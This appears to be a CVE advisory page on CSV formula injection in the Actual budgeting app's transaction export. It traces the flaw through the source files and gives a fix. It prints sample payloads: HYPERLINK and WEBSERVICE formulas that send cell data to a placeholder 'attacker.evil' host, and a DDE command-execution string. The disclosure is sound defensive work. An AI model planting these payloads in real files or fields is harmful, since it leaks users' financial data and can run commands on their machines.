CVE-2026-50179Medium· 4.2▾ Sunlit@actual-app/web has CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields
▾ Sunlit zone — Low / medium · no exploitation signal
impact 23.1 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.3%
exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with =, +, -, @, tab, or carriage return survive verbatim into the exported CSV. When the victim (or anyone they share the export with) opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas. =HYPERLINK("http://attacker/?leak="&B2,"Bank refund") is the most reliable variant: it renders as a clickable link with benign text and exfiltrates adjacent cells (transaction amount, account name, payee, balance) on click, with no security prompt in modern Excel/Sheets. =WEBSERVICE/=IMPORTXML provide auto-firing exfil in some configurations; legacy DDE may achieve RCE on older Excel.
Sink — packages/loot-core/src/server/transactions/export/export-to-csv.ts:56:
return csvStringify(transactionsForExport, { header: true });
and the same call again at export-to-csv.ts:131 for exportQueryToCSV. csv-stringify v6 does not neutralize formula-trigger characters by default; only quote/comma/CRLF escaping is applied. There is no shared wrapper — grep for csvStringify finds exactly one source file across the monorepo.
Source of attacker-controlled Payee/Notes:
packages/loot-core/src/server/transactions/import/parse-file.ts:77 dispatches uploaded files to parseCSV (:109), parseOFX (:200), parseQIF (:158), parseCAMT (:250). None of them strip or escape formula prefixes from payee_name/imported_payee/notes.mapOfxTransaction in packages/loot-core/src/server/transactions/import/ofx2json.ts only runs html2Plain (HTML entity decoding) on the NAME field — =, +, -, @, \t are untouched.sync.normalizeTransactions (packages/loot-core/src/server/transactions/sync.ts) applies title() casing, which only mutates letters via String.toLowerCase; non-letter prefix characters are preserved, and Excel formulas are case-insensitive (=hyperlink(...) parses identically to =HYPERLINK(...)).@actual-app/api's payee/transaction CRUD endpoints — anyone with write access to a shared budget can plant the payload.Verification that csv-stringify does not neutralize formulas:
$ node -e "const{stringify}=require('csv-stringify/sync');console.log(stringify([{Payee:'=HYPERLINK(\"http://x/?\"&B2,\"refund\")'}],{header:true}))"
Payee
"=HYPERLINK(""http://x/?""&B2,""refund"")"
The double-quote escaping is intact, but the leading = is not prefixed with ' or otherwise neutralized — Excel, LibreOffice Calc, and Google Sheets will all evaluate this as a formula on open.
Date,Payee,Amount
2026-01-01,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2&C2,""Bank refund details"")",100.00
2026-01-02,"@SUM(1+1)*cmd|'/c calc'!A0",50.00
2026-01-03,"+1+1",-25.00
2026-01-04,"=WEBSERVICE(""http://attacker.evil/?d=""&B2)",10.00
parseFile (parse-file.ts:77) → parseCSV/parseOFX/parseQIF/parseCAMT returns rows with the formula strings preserved as payee_name. sync.normalizeTransactions does not strip the prefix characters.payees table verbatim.transactions-export-query invokes exportQueryToCSV (export-to-csv.ts:131).csvStringify):Account,Date,Payee,Notes,Category_Group,Category,Amount,Split_Amount,Cleared
Checking,2026-01-01,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2&C2,""Bank refund details"")",,,,100.00,0,Not cleared
Checking,2026-01-02,@SUM(1+1)*cmd|'/c calc'!A0,,,,50.00,0,Not cleared
Checking,2026-01-03,+1+1,,,,-25.00,0,Not cleared
Checking,2026-01-04,"=WEBSERVICE(""http://attacker.evil/?d=""&B2)",,,,10.00,0,Not cleared
=HYPERLINK(...) renders as a clickable link that exfiltrates adjacent cell values to attacker on click; =WEBSERVICE/=IMPORTXML (Sheets/LibreOffice) fire automatically; legacy =cmd|... DDE may execute on unpatched Excel.=HYPERLINK clicks or auto-firing =WEBSERVICE/=IMPORTXML.=HYPERLINK exfil is universal and silent.Pass a cast.string callback to csv-stringify that prefixes any formula-trigger string with a single quote, the OWASP-recommended neutralization. Apply at both call sites in packages/loot-core/src/server/transactions/export/export-to-csv.ts:
import { stringify as csvStringify } from 'csv-stringify/sync';
const FORMULA_PREFIX = /^[=+\-@\t\r]/;
function neutralizeFormula(value: string): string {
return FORMULA_PREFIX.test(value) ? `'${value}` : value;
}
const csvOptions = {
header: true,
cast: {
string: (value: string) => neutralizeFormula(value),
},
} as const;
// export-to-csv.ts:56
return csvStringify(transactionsForExport, csvOptions);
// export-to-csv.ts:131
return csvStringify(transactionsForExport, csvOptions);
Alternative defenses to consider in addition:
parse-file.ts for payee_name/notes so the database never contains formula-shaped strings (defense in depth — protects any future export consumers).=, +, -, @, \t, or \r is prefixed with '.@actual-app/web < 26.6.0Upgrade to a patched release:
@actual-app/web 26.6.0Connected by shared product, vendor, weakness, or advisory.
CVE-2026-46672Medium· 4.6@actual-app/cli `--format csv` Output Vulnerable to CSV Formula Injection via Custom `escapeCsv` Helper
CVE-2026-9673Medium· 6.8Versions of the package json-2-csv from 3.15.0 and before 5.5.11 are vulnerable to CSV Injection via the preventCsvInjection option which can be bypassed
CVE-2026-46700Medium· 4.3@actual-app/sync-server's missing authorization on GET /secret/:name allows non-admin OpenID users to enumerate admin-configured bank-sync secrets
CVE-2026-49229High· 8.3@actual-app/sync-server: Disabled OpenID users keep access through existing session tokens
CVE-2026-76797Medium· 6.3The MongoSQL Transition Readiness Tool writes database and collection names into its generated CSV reports without neutralizing leading characters that spreadsheet applications treat as formulas
CVE-2026-79971Medium· 5.3Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Sanitization of Custom Special Characters vulnerability